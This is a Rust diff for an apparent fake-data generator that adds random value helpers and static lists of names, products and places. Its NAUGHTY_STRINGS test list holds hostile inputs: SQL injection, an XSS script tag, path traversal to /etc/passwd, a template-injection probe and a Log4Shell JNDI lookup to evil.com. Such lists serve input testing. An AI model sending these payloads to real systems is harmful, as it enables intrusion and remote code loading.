+static COLOR_NAMES: &[&str] = &[
+    "red", "blue", "green", "yellow", "orange", "purple", "pink", "brown",
+    "black", "white", "gray", "cyan", "magenta", "teal", "navy", "maroon",
+    "olive", "lime", "aqua", "silver", "gold", "indigo", "violet", "coral",
+];
+
+fn generate_color_name(rng: &mut StdRng) -> &'static str {
+    COLOR_NAMES[rng.random_range(0..COLOR_NAMES.len())]
+}
+
+fn generate_short_hex_color(rng: &mut StdRng) -> Value {
+    let v: u16 = rng.random_range(0..0x1000);
+    json!(format!("#{:03x}", v))
+}
+
+fn generate_address(rng: &mut StdRng) -> Value {
+    let number: String = BuildingNumber(EN).fake_with_rng(rng);
+    let street: String = StreetName(EN).fake_with_rng(rng);
+    let city: String = CityName(EN).fake_with_rng(rng);
+    let state: String = StateAbbr(EN).fake_with_rng(rng);
+    let zip: String = ZipCode(EN).fake_with_rng(rng);
+    json!(format!("{} {}, {}, {} {}", number, street, city, state, zip))
+}
+
+fn generate_now() -> Value {
+    json!(chrono::Utc::now().to_rfc3339())
+}
+
+fn generate_unix_timestamp_ms(rng: &mut StdRng) -> Value {
+    let now = chrono::Utc::now().timestamp_millis();
+    let offset = rng.random_range(0i64..(365 * 24 * 60 * 60 * 1000));
+    json!(now - offset)
+}
+
+// ============================================================================
+// Bucket B helpers + static data
+// ============================================================================
+
+/// Pick a random &str from a slice and return it as a JSON string.
+fn pick(rng: &mut StdRng, slice: &[&str]) -> Value {
+    json!(slice[rng.random_range(0..slice.len())])
+}
+
+/// Pick a random &str from a slice (raw, for composition).
+fn pick_str<'a>(rng: &mut StdRng, slice: &'a [&'a str]) -> &'a str {
+    slice[rng.random_range(0..slice.len())]
+}
+
+/// N random digits as a JSON string (preserves leading zeros).
+fn generate_digits(rng: &mut StdRng, n: usize) -> Value {
+    json!(generate_digit_string(rng, n))
+}
+
+fn generate_digit_string(rng: &mut StdRng, n: usize) -> String {
+    (0..n)
+        .map(|_| std::char::from_digit(rng.random_range(0..10), 10).unwrap())
+        .collect()
+}
+
+fn generate_digit_string_range(rng: &mut StdRng, min: usize, max: usize) -> Value {
+    let n = rng.random_range(min..=max);
+    // First digit non-zero so it reads like an id
+    let mut s = std::char::from_digit(rng.random_range(1..10), 10).unwrap().to_string();
+    s.push_str(&generate_digit_string(rng, n.saturating_sub(1)));
+    json!(s)
+}
+
+fn generate_hex_hash(rng: &mut StdRng, n: usize) -> Value {
+    let s: String = (0..n)
+        .map(|_| std::char::from_digit(rng.random_range(0..16), 16).unwrap())
+        .collect();
+    json!(s)
+}
+
+fn generate_b64ish(rng: &mut StdRng, n: usize) -> String {
+    const CH: &[u8] = b"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789./";
+    (0..n).map(|_| CH[rng.random_range(0..CH.len())] as char).collect()
+}
+
+fn generate_gps_code(rng: &mut StdRng) -> Value {
+    const CH: &[u8] = b"ABCDEFGHIJKLMNOPQRSTUVWXYZ";
+    let s: String = (0..4).map(|_| CH[rng.random_range(0..CH.len())] as char).collect();
+    json!(s)
+}
+
+fn generate_lei(rng: &mut StdRng) -> Value {
+    const CH: &[u8] = b"ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";
+    let body: String = (0..18).map(|_| CH[rng.random_range(0..CH.len())] as char).collect();
+    json!(format!("{}{:02}", body, rng.random_range(10..99)))
+}
+
+fn generate_ssn(rng: &mut StdRng) -> Value {
+    json!(format!(
+        "{:03}-{:02}-{:04}",
+        rng.random_range(100..900),
+        rng.random_range(10..99),
+        rng.random_range(1000..9999)
+    ))
+}
+
+fn generate_ein(rng: &mut StdRng) -> Value {
+    json!(format!("{:02}-{:07}", rng.random_range(10..99), rng.random_range(1000000..9999999)))
+}
+
+fn generate_iban(rng: &mut StdRng) -> Value {
+    let cc = pick_str(rng, COUNTRY_CODES2);
+    json!(format!("{}{:02}{}", cc, rng.random_range(10..99), generate_digit_string(rng, 18)))
+}
+
+fn generate_sku(rng: &mut StdRng) -> Value {
+    const CH: &[u8] = b"ABCDEFGHIJKLMNOPQRSTUVWXYZ";
+    let prefix: String = (0..3).map(|_| CH[rng.random_range(0..CH.len())] as char).collect();
+    json!(format!("{}-{}", prefix, generate_digit_string(rng, 6)))
+}
+
+fn generate_snowflake_id(rng: &mut StdRng) -> Value {
+    // 64-bit-ish numeric id rendered as string (Twitter snowflake style)
+    let ts = chrono::Utc::now().timestamp_millis() as u64;
+    let id = (ts << 22) | (rng.random_range(0..4_194_304u64));
+    json!(id.to_string())
+}
+
+fn generate_ipv4_cidr(rng: &mut StdRng) -> Value {
+    json!(format!(
+        "{}.{}.{}.0/{}",
+        rng.random_range(1..223),
+        rng.random_range(0..256),
+        rng.random_range(0..256),
+        rng.random_range(8..31)
+    ))
+}
+
+fn generate_ipv6_cidr(rng: &mut StdRng) -> Value {
+    let seg = |rng: &mut StdRng| -> String { format!("{:x}", rng.random_range(0..0x10000u32)) };
+    json!(format!(
+        "{}:{}:{}:{}::/{}",
+        seg(rng), seg(rng), seg(rng), seg(rng),
+        rng.random_range(32..65)
+    ))
+}
+
+fn generate_avatar(rng: &mut StdRng) -> Value {
+    let id: u32 = rng.random_range(1..1000);
+    json!(format!("https://i.pravatar.cc/300?img={}", id))
+}
+
+fn generate_base64_image_url() -> Value {
+    // 1x1 transparent PNG data URL
+    json!("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAQAAAC1HAwCAAAAC0lEQVR42mNkYPhfDwAChwGA60e6kgAAAABJRU5ErkJggg==")
+}
+
+fn generate_dummy_image_url(rng: &mut StdRng) -> Value {
+    let w = rng.random_range(1..9) * 100;
+    let h = rng.random_range(1..9) * 100;
+    json!(format!("https://dummyimage.com/{}x{}/cccccc/000000.png", w, h))
+}
+
+fn generate_mbi(rng: &mut StdRng) -> Value {
+    // Medicare Beneficiary Identifier: 11 chars, pattern CNNCNNCNNCC
+    const LETTERS: &[u8] = b"ACDEFGHJKMNPQRTUVWXY";
+    let l = |rng: &mut StdRng| LETTERS[rng.random_range(0..LETTERS.len())] as char;
+    let d = |rng: &mut StdRng| std::char::from_digit(rng.random_range(0..10), 10).unwrap();
+    json!(format!(
+        "{}{}{}{}{}{}{}{}{}{}{}",
+        d(rng), l(rng), l(rng), d(rng), l(rng), d(rng), l(rng), l(rng), d(rng), d(rng), d(rng)
+    ))
+}
+
+fn generate_hashtag(rng: &mut StdRng) -> Value {
+    let w1: String = Word(EN).fake_with_rng(rng);
+    let w2: String = Word(EN).fake_with_rng(rng);
+    json!(format!("#{}{}", capitalize(&w1), capitalize(&w2)))
+}
+
+fn generate_social_handle(rng: &mut StdRng) -> Value {
+    let w: String = Word(EN).fake_with_rng(rng);
+    json!(format!("@{}{}", w.to_lowercase(), rng.random_range(1..9999)))
+}
+
+fn generate_slug(rng: &mut StdRng) -> Value {
+    let words: Vec<String> = Words(EN, 3..4).fake_with_rng(rng);
+    let slug = words
+        .iter()
+        .map(|w| w.to_lowercase())
+        .collect::<Vec<_>>()
+        .join("-");
+    // strip any non-alnum/dash chars
+    let slug: String = slug.chars().filter(|c| c.is_ascii_alphanumeric() || *c == '-').collect();
+    json!(slug)
+}
+
+fn generate_bundle_id(rng: &mut StdRng) -> Value {
+    let tld = pick_str(rng, &["com", "io", "net", "app"]);
+    let org: String = Word(EN).fake_with_rng(rng);
+    let app: String = Word(EN).fake_with_rng(rng);
+    json!(format!("{}.{}.{}", tld, org.to_lowercase(), app.to_lowercase()))
+}
+
+fn capitalize(s: &str) -> String {
+    let mut c = s.chars();
+    match c.next() {
+        Some(f) => f.to_uppercase().collect::<String>() + c.as_str(),
+        None => String::new(),
+    }
+}
+
+// ---- Sequence-style (index-driven) ----
+
+fn generate_sequence(args: &Value, index: usize) -> Value {
+    let start = args.get("start").and_then(|v| v.as_i64()).unwrap_or(1);
+    let step = args.get("step").and_then(|v| v.as_i64()).unwrap_or(1);
+    let value = start + (index as i64) * step;
+    if let Some(fmt) = args.get("format").and_then(|v| v.as_str()) {
+        // support a single %d-style numeric placeholder; fall back to plain
+        if fmt.contains("%d") || fmt.contains("%05d") || fmt.contains("%04d") || fmt.contains("%03d") {
+            json!(simple_format_int(fmt, value))
+        } else {
+            json!(value)
+        }
+    } else {
+        json!(value)
+    }
+}
+
+fn simple_format_int(fmt: &str, value: i64) -> String {
+    // Replace the first %0Nd / %d token with the zero-padded value.
+    if let Some(start) = fmt.find('%') {
+        let rest = &fmt[start..];
+        // find terminating 'd'
+        if let Some(dpos) = rest.find('d') {
+            let spec = &rest[1..dpos]; // e.g. "05" or ""
+            let width: usize = spec.trim_start_matches('0').parse().unwrap_or(0);
+            let pad_zero = spec.starts_with('0');
+            let num = if pad_zero && width > 0 {
+                format!("{:0width$}", value, width = width)
+            } else if width > 0 {
+                format!("{:width$}", value, width = width)
+            } else {
+                value.to_string()
+            };
+            return format!("{}{}{}", &fmt[..start], num, &rest[dpos + 1..]);
+        }
+    }
+    value.to_string()
+}
+
+fn generate_digit_sequence(args: &Value, index: usize) -> Value {
+    let length = args.get("length").and_then(|v| v.as_u64()).unwrap_or(6) as usize;
+    let start = args.get("start").and_then(|v| v.as_u64()).unwrap_or(0);
+    let value = start + index as u64;
+    json!(format!("{:0width$}", value, width = length))
+}
+
+fn generate_character_sequence(args: &Value, index: usize) -> Value {
+    let start = args
+        .get("start")
+        .and_then(|v| v.as_str())
+        .and_then(|s| s.chars().next())
+        .unwrap_or('A');
+    let ch = ((start as u32) + index as u32) as u8 as char;
+    json!(ch.to_string())
+}
+
+// ---- regex ----
+
+fn generate_regex(rng: &mut StdRng, args: &Value) -> Value {
+    let pattern = args.get("pattern").and_then(|v| v.as_str()).unwrap_or("");
+    if pattern.is_empty() {
+        return json!("");
+    }
+    json!(expand_regex(pattern, rng))
+}
+
+/// Minimal regex sampler covering character classes, quantifiers {n}/{n,m}/+/*/?,
+/// escapes \d \w \s, literals, and a single top-level alternation.
+fn expand_regex(pattern: &str, rng: &mut StdRng) -> String {
+    // strip anchors
+    let pattern = pattern.trim_start_matches('^').trim_end_matches('$');
+    // pick one alternation branch at top level (no nesting support)
+    let branch = if pattern.contains('|') && !pattern.contains('(') {
+        let parts: Vec<&str> = pattern.split('|').collect();
+        parts[rng.random_range(0..parts.len())]
+    } else {
+        pattern
+    };
+
+    let chars: Vec<char> = branch.chars().collect();
+    let mut out = String::new();
+    let mut i = 0;
+    while i < chars.len() {
+        let c = chars[i];
+        // Determine the atom (a closure producing one char) and advance i past it.
+        let atom: Box<dyn Fn(&mut StdRng) -> char>;
+        if c == '\\' && i + 1 < chars.len() {
+            let n = chars[i + 1];
+            i += 2;
+            atom = match n {
+                'd' => Box::new(|r: &mut StdRng| std::char::from_digit(r.random_range(0..10), 10).unwrap()),
+                'w' => Box::new(|r: &mut StdRng| {
+                    const W: &[u8] = b"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_";
+                    W[r.random_range(0..W.len())] as char
+                }),
+                's' => Box::new(|_r: &mut StdRng| ' '),
+                other => Box::new(move |_r: &mut StdRng| other),
+            };
+        } else if c == '[' {
+            // character class: collect until ']'
+            let mut set: Vec<char> = Vec::new();
+            i += 1;
+            let mut prev: Option<char> = None;
+            while i < chars.len() && chars[i] != ']' {
+                if chars[i] == '-' && prev.is_some() && i + 1 < chars.len() && chars[i + 1] != ']' {
+                    let lo = prev.unwrap();
+                    let hi = chars[i + 1];
+                    for ch in (lo as u32)..=(hi as u32) {
+                        if let Some(c) = std::char::from_u32(ch) {
+                            set.push(c);
+                        }
+                    }
+                    i += 2;
+                    prev = None;
+                } else {
+                    set.push(chars[i]);
+                    prev = Some(chars[i]);
+                    i += 1;
+                }
+            }
+            if i < chars.len() {
+                i += 1; // consume ']'
+            }
+            if set.is_empty() {
+                set.push('x');
+            }
+            atom = Box::new(move |r: &mut StdRng| set[r.random_range(0..set.len())]);
+        } else if c == '.' {
+            i += 1;
+            atom = Box::new(|r: &mut StdRng| {
+                const A: &[u8] = b"abcdefghijklmnopqrstuvwxyz";
+                A[r.random_range(0..A.len())] as char
+            });
+        } else {
+            i += 1;
+            atom = Box::new(move |_r: &mut StdRng| c);
+        }
+
+        // Quantifier?
+        let (min, max) = if i < chars.len() {
+            match chars[i] {
+                '{' => {
+                    // {n} or {n,m}
+                    let mut j = i + 1;
+                    let mut num = String::new();
+                    while j < chars.len() && chars[j].is_ascii_digit() {
+                        num.push(chars[j]);
+                        j += 1;
+                    }
+                    let n: usize = num.parse().unwrap_or(1);
+                    if j < chars.len() && chars[j] == ',' {
+                        j += 1;
+                        let mut num2 = String::new();
+                        while j < chars.len() && chars[j].is_ascii_digit() {
+                            num2.push(chars[j]);
+                            j += 1;
+                        }
+                        let m: usize = num2.parse().unwrap_or(n + 4);
+                        if j < chars.len() && chars[j] == '}' {
+                            j += 1;
+                        }
+                        i = j;
+                        (n, m.max(n))
+                    } else {
+                        if j < chars.len() && chars[j] == '}' {
+                            j += 1;
+                        }
+                        i = j;
+                        (n, n)
+                    }
+                }
+                '+' => {
+                    i += 1;
+                    (1, 6)
+                }
+                '*' => {
+                    i += 1;
+                    (0, 6)
+                }
+                '?' => {
+                    i += 1;
+                    (0, 1)
+                }
+                _ => (1, 1),
+            }
+        } else {
+            (1, 1)
+        };
+
+        let reps = if max > min { rng.random_range(min..=max) } else { min };
+        for _ in 0..reps {
+            out.push(atom(rng));
+        }
+    }
+    out
+}
+
+// ---- date_between ----
+
+fn generate_date_between(rng: &mut StdRng, args: &Value) -> Value {
+    let from = args
+        .get("from")
+        .and_then(|v| v.as_str())
+        .and_then(parse_date)
+        .unwrap_or_else(|| chrono::Utc::now() - chrono::Duration::days(3650));
+    let to = args
+        .get("to")
+        .and_then(|v| v.as_str())
+        .and_then(parse_date)
+        .unwrap_or_else(chrono::Utc::now);
+    let from_ts = from.timestamp();
+    let to_ts = to.timestamp().max(from_ts + 1);
+    let ts = rng.random_range(from_ts..=to_ts);
+    let dt = chrono::DateTime::<chrono::Utc>::from_timestamp(ts, 0).unwrap_or(from);
+    json!(dt.format("%Y-%m-%d").to_string())
+}
+
+fn parse_date(s: &str) -> Option<chrono::DateTime<chrono::Utc>> {
+    use chrono::TimeZone;
+    if let Ok(d) = chrono::NaiveDate::parse_from_str(s, "%Y-%m-%d") {
+        let ndt = d.and_hms_opt(0, 0, 0)?;
+        return Some(chrono::Utc.from_utc_datetime(&ndt));
+    }
+    chrono::DateTime::parse_from_rfc3339(s)
+        .ok()
+        .map(|d| d.with_timezone(&chrono::Utc))
+}
+
+// ---- collections ----
+
+fn generate_json_array(rng: &mut StdRng, args: &Value, locale: Locale, index: usize) -> Value {
+    let item_type = args
+        .get("type")
+        .or_else(|| args.get("element"))
+        .and_then(|v| v.as_str())
+        .unwrap_or("word");
+    let min = args.get("min").and_then(|v| v.as_u64()).unwrap_or(1) as usize;
+    let max = args.get("max").and_then(|v| v.as_u64()).unwrap_or(4) as usize;
+    let count = if max > min { rng.random_range(min..=max) } else { min.max(1) };
+    let items: Vec<Value> = (0..count)
+        .map(|i| generate_value(rng, item_type, &json!({}), locale, index + i))
+        .collect();
+    json!(items)
+}
+
+fn generate_indices_pair(rng: &mut StdRng) -> Value {
+    let a = rng.random_range(0..100);
+    let b = rng.random_range(a..(a + 100));
+    json!([a, b])
+}
+
+fn generate_repeating_element(rng: &mut StdRng, args: &Value, locale: Locale, index: usize) -> Value {
+    let count = args.get("count").and_then(|v| v.as_u64()).unwrap_or(1) as usize;
+    let count = count.min(1000);
+    if let Some(type_name) = args.get("type").and_then(|v| v.as_str()) {
+        let items: Vec<Value> = (0..count)
+            .map(|i| generate_value(rng, type_name, &json!({}), locale, index + i))
+            .collect();
+        json!(items)
+    } else if let Some(value) = args.get("value") {
+        let s = match value {
+            Value::String(s) => s.clone(),
+            other => other.to_string(),
+        };
+        json!(s.repeat(count))
+    } else {
+        json!("")
+    }
+}
+
+// ============================================================================
+// Static representative data tables
+// ============================================================================
+
+static AIRPORT_NAMES: &[&str] = &[
+    "Hartsfield-Jackson Atlanta International Airport",
+    "Los Angeles International Airport",
+    "O'Hare International Airport",
+    "Dallas/Fort Worth International Airport",
+    "Denver International Airport",
+    "John F. Kennedy International Airport",
+    "San Francisco International Airport",
+    "Seattle-Tacoma International Airport",
+    "Heathrow Airport",
+    "Charles de Gaulle Airport",
+    "Frankfurt Airport",
+    "Amsterdam Airport Schiphol",
+    "Tokyo Haneda Airport",
+    "Dubai International Airport",
+    "Singapore Changi Airport",
+    "Hong Kong International Airport",
+    "Toronto Pearson International Airport",
+    "Sydney Kingsford Smith Airport",
+    "Munich Airport",
+    "Madrid-Barajas Airport",
+];
+
+static AIRPORT_CONTINENTS: &[&str] = &[
+    "Africa", "Antarctica", "Asia", "Europe", "North America", "Oceania", "South America",
+];
+
+static BANK_NAMES: &[&str] = &[
+    "JPMorgan Chase", "Bank of America", "Wells Fargo", "Citibank", "U.S. Bank",
+    "PNC Bank", "Goldman Sachs", "Morgan Stanley", "TD Bank", "Capital One",
+    "HSBC", "Barclays", "Deutsche Bank", "BNP Paribas", "Santander",
+    "Royal Bank of Canada", "UBS", "Credit Suisse", "Standard Chartered", "ING Group",
+];
+
+static CONSTRUCTION_TRADES: &[&str] = &[
+    "Carpentry", "Electrical", "Plumbing", "Masonry", "Roofing",
+    "HVAC", "Drywall", "Painting", "Flooring", "Concrete",
+    "Welding", "Glazing", "Landscaping", "Excavation", "Insulation",
+];
+
+static CONSTRUCTION_ROLES: &[&str] = &[
+    "Project Manager", "Site Superintendent", "Foreman", "Estimator", "Safety Officer",
+    "Field Engineer", "Laborer", "Journeyman", "Apprentice", "Master Electrician",
+    "General Contractor", "Subcontractor", "Surveyor", "Inspector", "Crane Operator",
+];
+
+static CONSTRUCTION_MATERIALS: &[&str] = &[
+    "Concrete", "Steel", "Lumber", "Brick", "Rebar",
+    "Drywall", "Insulation", "Plywood", "Asphalt", "Gravel",
+    "Glass", "Copper Wire", "PVC Pipe", "Cement", "Aggregate",
+];
+
+static CONSTRUCTION_EQUIPMENT: &[&str] = &[
+    "Excavator", "Bulldozer", "Crane", "Backhoe Loader", "Skid-Steer Loader",
+    "Dump Truck", "Concrete Mixer", "Forklift", "Grader", "Compactor",
+    "Trencher", "Pile Driver", "Scissor Lift", "Telehandler", "Asphalt Paver",
+];
+
+static CONSTRUCTION_SUBCONTRACT: &[&str] = &[
+    "Sitework", "Concrete", "Masonry", "Metals", "Wood and Plastics",
+    "Thermal and Moisture Protection", "Doors and Windows", "Finishes",
+    "Mechanical", "Electrical", "Plumbing", "Fire Suppression",
+];
+
+static DEPARTMENT_CORPORATE: &[&str] = &[
+    "Human Resources", "Finance", "Engineering", "Marketing", "Sales",
+    "Operations", "Legal", "Information Technology", "Research and Development",
+    "Customer Support", "Product Management", "Procurement", "Compliance", "Facilities",
+];
+
+static DEPARTMENT_RETAIL: &[&str] = &[
+    "Grocery", "Produce", "Bakery", "Deli", "Electronics",
+    "Apparel", "Home and Garden", "Toys", "Pharmacy", "Automotive",
+    "Sporting Goods", "Cosmetics", "Furniture", "Hardware", "Footwear",
+];
+
+static PRODUCT_NAMES: &[&str] = &[
+    "Wireless Mouse", "Mechanical Keyboard", "USB-C Hub", "Noise-Cancelling Headphones",
+    "Bluetooth Speaker", "Standing Desk", "Ergonomic Chair", "4K Monitor",
+    "Laptop Stand", "Webcam", "External SSD", "Smart Watch",
+    "Fitness Tracker", "Portable Charger", "Wireless Earbuds", "Gaming Mouse Pad",
+    "Desk Lamp", "Cable Organizer", "Phone Mount", "Microphone",
+];
+
+static PRODUCT_CATEGORIES: &[&str] = &[
+    "Electronics", "Home and Kitchen", "Clothing", "Books", "Toys and Games",
+    "Sports and Outdoors", "Beauty", "Health", "Automotive", "Office Products",
+    "Grocery", "Pet Supplies", "Tools", "Garden", "Baby",
+];
+
+static PRODUCT_SUBCATEGORIES: &[&str] = &[
+    "Laptops", "Smartphones", "Headphones", "Cookware", "Bedding",
+    "T-Shirts", "Running Shoes", "Board Games", "Action Figures", "Yoga Mats",
+    "Skincare", "Vitamins", "Car Accessories", "Notebooks", "Power Tools",
+];
+
+static PRODUCT_GROCERY: &[&str] = &[
+    "Organic Bananas", "Whole Milk", "Free-Range Eggs", "Sourdough Bread", "Cheddar Cheese",
+    "Roma Tomatoes", "Baby Spinach", "Ground Coffee", "Greek Yogurt", "Olive Oil",
+    "Almond Butter", "Brown Rice", "Chicken Breast", "Atlantic Salmon", "Dark Chocolate",
+];
+
+static MOVIE_TITLES: &[&str] = &[
+    "The Last Horizon", "Echoes of Tomorrow", "Silent Thunder", "Crimson Tide Rising",
+    "Beyond the Stars", "The Final Hour", "Whispers in the Dark", "Edge of Reality",
+    "Shadows of the Past", "Infinite Loop", "The Lost City", "Frozen Memories",
+    "Midnight Run", "The Forgotten Path", "Rise of the Phoenix", "Quantum Drift",
+    "Nightfall", "The Iron Veil", "Distant Shores", "Broken Compass",
+];
+
+static MOVIE_GENRES: &[&str] = &[
+    "Action", "Adventure", "Comedy", "Drama", "Fantasy",
+    "Horror", "Mystery", "Romance", "Sci-Fi", "Thriller",
+    "Animation", "Documentary", "Crime", "War", "Western",
+];
+
+static MOBILE_BRANDS: &[&str] = &[
+    "Apple", "Samsung", "Google", "OnePlus", "Xiaomi",
+    "Sony", "Motorola", "Nokia", "Oppo", "Vivo", "Huawei", "Asus",
+];
+
+static MOBILE_MODELS: &[&str] = &[
+    "iPhone 15 Pro", "Galaxy S24 Ultra", "Pixel 8 Pro", "OnePlus 12", "Redmi Note 13",
+    "Xperia 1 V", "Moto Edge 40", "Nokia X30", "Find X7", "Vivo V30",
+    "Mate 60 Pro", "ROG Phone 8", "iPhone 14", "Galaxy A54", "Pixel 7a",
+];
+
+static MOBILE_OS: &[&str] = &[
+    "iOS 17", "iOS 16", "Android 14", "Android 13", "Android 12",
+    "HarmonyOS 4", "iOS 15", "Android 11",
+];
+
+static APP_NAMES: &[&str] = &[
+    "TaskFlow", "NoteVault", "PixelChat", "FitTrack", "BudgetWise",
+    "MealPlan", "MindSpace", "QuickScan", "CloudSync", "DevHub",
+    "SnapEdit", "TripMap", "PodCastr", "HabitLoop", "FocusZone",
+];
+
+static UNIVERSITIES: &[&str] = &[
+    "Harvard University", "Stanford University", "Massachusetts Institute of Technology",
+    "University of Cambridge", "University of Oxford", "California Institute of Technology",
+    "Princeton University", "Yale University", "University of Chicago", "Columbia University",
+    "University of California, Berkeley", "Cornell University", "University of Michigan",
+    "University of Toronto", "ETH Zurich", "Imperial College London", "University of Tokyo",
+    "National University of Singapore", "University of Melbourne", "McGill University",
+];
+
+static LANGUAGES: &[&str] = &[
+    "English", "Spanish", "French", "German", "Italian",
+    "Portuguese", "Mandarin Chinese", "Japanese", "Korean", "Arabic",
+    "Russian", "Hindi", "Dutch", "Swedish", "Turkish",
+    "Polish", "Vietnamese", "Thai", "Greek", "Hebrew",
+];
+
+static LANGUAGE_CODES: &[&str] = &[
+    "en", "es", "fr", "de", "it", "pt", "zh", "ja", "ko", "ar",
+    "ru", "hi", "nl", "sv", "tr", "pl", "vi", "th", "el", "he",
+];
+
+static RACES: &[&str] = &[
+    "White", "Black or African American", "Asian",
+    "American Indian or Alaska Native", "Native Hawaiian or Other Pacific Islander",
+    "Hispanic or Latino", "Two or More Races", "Other",
+];
+
+static NATO_PHONETIC: &[&str] = &[
+    "Alfa", "Bravo", "Charlie", "Delta", "Echo", "Foxtrot", "Golf", "Hotel",
+    "India", "Juliett", "Kilo", "Lima", "Mike", "November", "Oscar", "Papa",
+    "Quebec", "Romeo", "Sierra", "Tango", "Uniform", "Victor", "Whiskey",
+    "X-ray", "Yankee", "Zulu",
+];
+
+static LINKEDIN_SKILLS: &[&str] = &[
+    "Project Management", "Leadership", "Communication", "Data Analysis", "Python",
+    "JavaScript", "Machine Learning", "Marketing", "Sales", "Public Speaking",
+    "Strategic Planning", "Agile Methodologies", "Cloud Computing", "SQL", "Negotiation",
+    "Product Management", "UX Design", "Financial Analysis", "Team Building", "Customer Service",
+];
+
+static CREDIT_CARD_TYPES: &[&str] = &[
+    "Visa", "Mastercard", "American Express", "Discover", "JCB",
+    "Diners Club", "UnionPay", "Maestro",
+];
+
+static SCENARIOS: &[&str] = &[
+    "happy_path", "edge_case", "error_state", "empty_result", "rate_limited",
+    "timeout", "partial_data", "high_load", "cold_start", "concurrent_access",
+];
+
+static FIRST_NAMES_MALE: &[&str] = &[
+    "James", "John", "Robert", "Michael", "William", "David", "Richard", "Joseph",
+    "Thomas", "Charles", "Christopher", "Daniel", "Matthew", "Anthony", "Mark",
+    "Donald", "Steven", "Paul", "Andrew", "Joshua",
+];
+
+static FIRST_NAMES_FEMALE: &[&str] = &[
+    "Mary", "Patricia", "Jennifer", "Linda", "Elizabeth", "Barbara", "Susan", "Jessica",
+    "Sarah", "Karen", "Nancy", "Lisa", "Betty", "Margaret", "Sandra",
+    "Ashley", "Kimberly", "Emily", "Donna", "Michelle",
+];
+
+static FIRST_NAMES_EUROPEAN: &[&str] = &[
+    "Lukas", "Mateo", "Sofia", "Emma", "Noah", "Liam", "Olivia", "Hugo",
+    "Léa", "Giulia", "Lorenzo", "Anna", "Felix", "Marta", "Jakub",
+    "Ingrid", "Oskar", "Elena", "Mathis", "Freya",
+];
+
+static CHINESE_FAMILY_NAMES: &[&str] = &[
+    "Wang", "Li", "Zhang", "Liu", "Chen", "Yang", "Huang", "Zhao",
+    "Wu", "Zhou", "Xu", "Sun", "Ma", "Zhu", "Hu", "Guo",
+];
+
+static CHINESE_GIVEN_NAMES: &[&str] = &[
+    "Wei", "Fang", "Min", "Jing", "Lei", "Na", "Tao", "Jun",
+    "Yan", "Hui", "Bin", "Xin", "Ying", "Hao", "Qiang", "Mei",
+];
+
+static SHIRT_SIZES: &[&str] = &["XS", "S", "M", "L", "XL", "XXL", "XXXL"];
+
+static FREQUENCIES: &[&str] = &[
+    "daily", "weekly", "biweekly", "monthly", "quarterly", "annually", "hourly", "never",
+];
+
+static GENDERS: &[&str] = &[
+    "Male", "Female", "Non-binary", "Genderqueer", "Agender", "Genderfluid", "Other",
+];
+
+static GENDERS_BINARY: &[&str] = &["Male", "Female"];
+
+static GENDER_ABBREV: &[&str] = &["M", "F", "X"];
+
+static GENDERS_FACEBOOK: &[&str] = &[
+    "Male", "Female", "Non-binary", "Transgender", "Cisgender", "Genderqueer",
+    "Genderfluid", "Agender", "Bigender", "Two-spirit",
+];
+
+static COUNTRY_CODES2: &[&str] = &[
+    "US", "GB", "DE", "FR", "JP", "CN", "CA", "AU", "BR", "IN",
+    "IT", "ES", "NL", "SE", "CH", "MX", "KR", "RU", "ZA", "SG",
+];
+
+static US_STATE_ABBR: &[&str] = &[
+    "AL", "AK", "AZ", "AR", "CA", "CO", "CT", "FL", "GA", "HI",
+    "IL", "IN", "MA", "MI", "NY", "NC", "OH", "PA", "TX", "WA",
+];
+
+static US_CITIES: &[&str] = &[
+    "New York", "Los Angeles", "Chicago", "Houston", "Phoenix",
+    "Philadelphia", "San Antonio", "San Diego", "Dallas", "San Jose",
+    "Austin", "Jacksonville", "Columbus", "Charlotte", "Seattle",
+    "Denver", "Boston", "Portland", "Atlanta", "Miami",
+];
+
+static NAUGHTY_STRINGS: &[&str] = &[
+    "",
+    " ",
+    "undefined",
+    "null",
+    "NaN",
+    "1; DROP TABLE users;--",
+    "' OR '1'='1",
+    "<script>alert('xss')</script>",
+    "../../../../etc/passwd",
+    "{{7*7}}",
+    "%00",
+    "👨‍👩‍👧‍👦",
+    "𝕊𝕥𝕣𝕖𝕤𝕤",
+    "\u{202e}txet desreveR",
+    "Ω≈ç√∫˜µ≤≥÷",
+    "Ⓤⓝⓘⓒⓞⓓⓔ",
+    "-1",
+    "0.0.0.0",
+    "$HOME",
+    "${jndi:ldap://evil.com/a}",
+];
+
+static SQL_EXPRESSIONS: &[&str] = &[
+    "COUNT(*)",
+    "SUM(amount)",
+    "AVG(price)",
+    "MAX(created_at)",
+    "MIN(score)",
+    "NOW()",
+    "CURRENT_TIMESTAMP",
+    "COALESCE(name, 'unknown')",
+    "UPPER(email)",
+    "LOWER(username)",
+    "DATE_TRUNC('day', created_at)",
+    "EXTRACT(YEAR FROM birth_date)",
+    "CASE WHEN active THEN 1 ELSE 0 END",
+    "ROUND(total, 2)",
+    "CONCAT(first_name, ' ', last_name)",
+];